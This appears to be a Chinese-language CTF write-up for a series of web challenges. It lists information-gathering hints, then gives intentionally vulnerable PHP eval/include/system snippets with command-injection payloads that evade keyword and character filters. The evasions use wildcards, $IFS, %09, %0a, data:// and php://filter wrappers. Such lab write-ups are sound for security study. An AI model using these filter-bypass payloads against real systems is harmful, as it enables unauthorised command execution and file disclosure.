一、信息搜集
1.web1
查看页面源代码
2.web2
burdsuite抓包
3.web3
burdsuite抓包
4.web4
查看robots.txt文件
5.web5
查看index.phps文件
6.web6
一般网站开发的源代码的压缩包都是www.zip
7.web7
常用的版本控制工具为.git和.svn
8.web8
常用的版本控制工具为.git和.svn
9.web9
非正常关闭vim编辑器时(直接关闭电脑终端或者关闭电源),会生成一个.swp文件(这个文件是一个临时交换文件),用来备份缓冲区中的内容
10.web10
burdsuite抓包后无需做任何修改直接重放,查看http响应报文中的cookie字段即可拿到flag!
11.web11
题目已经将flag告诉我们!
12.web12
仔细观察网页,获得管理员登录密码后直接拿到flag!
15.web15
先观察网页,发现网页底部有一个QQ邮箱,然后访问网页登录页面,选择忘记密码,查询QQ邮箱所在地即可拿到密保答案
17.web17
访问backup.sql文件
二、命令执行
web29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
1. ?c=system("cat fl``ag.php");
2. ?c=system("cat fla*.php");
3. ?c=echo `nl fl''ag.php`;
cat 可替换为 tac | more | less | curl | nl | tail | sort | strings
?c=system("cat fl``ag.php");
web30
payload:
?c=echo`nl fl*`;
web31
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
payload:
1. ?c=eval($_GET[1]);&1=system("cat flag.php");
2. ?c=echo`nl%09fl*`;
此题通过get先传一个参数1,在后面执行cat flag.php的命令是不会被过滤的
web32-36
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤空格 和 ;
用?>代替 ;
payload:
1. ?c=include$_GET[0]?>&0=data://text/plain,<?php echo(`cat flag.php`);?>
2. ?c=include$_GET[0]?>&0=php://filter/read=convert.base64-encode/resource=flag.php
web37-38
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
payload:
1.?c=data:text//plain,<?=system("nl fl*");?>
2.?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
web39
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
?c=php://filter/read=convert.base64-encode/resource=fl*(姿势不对)
还是用data
?>.php不影响前面已经闭合的php语句
payload:
?c=data://text/plain,<?php system("cat f*");?>
web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤的是中文括号,用到以下包含英文括号的函数:
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排列
next():函数将内部指针指向下一元素,并输出
payload:
先查看目录下的文件名:
?c=print_r(scandir(pos(localeconv())));
接着用array_reverse()和next(),使指针指向flag.php,并用highlight_file()输出,得到flag。
?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
highlight_file或show_source
web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
此题代码的system()中有" >/dev/null 2>&1",他的作用是将程序的标准输出和错误输出都存到/dev/null(舍弃掉)。
payload:
?c=ls;
?c=cat flag.php;
cat flag.php%0a
cat flag.php||
cat flag.php%26
cat flag.php%26%26
web43-44-45-46
过滤了cat用tac,过滤了;用%0a或 ||。
过滤了flag
?c=tac fl*%0a
?c=tac fl??????%0a(?与省略的ag.php数量一致)
?c=tac fl``ag.php||
过滤空格
?c=tac%09fla*%0a
?c=tac$IFS$9fl'ag'.php||
?c=tac<fl'ag'.php||
?c=tac${IFS}fl'ag'.php||
?c=tac<>fl'ag'.php||
过滤数字
%0a是换行符,能代替分号
虽然这题过滤了数字,但因为%09是一个字符,属于编码,在带入服务器时会进行解码,所以并没有被过滤
web47-49
payload:
?c=tac%09fl'ag'.php%0a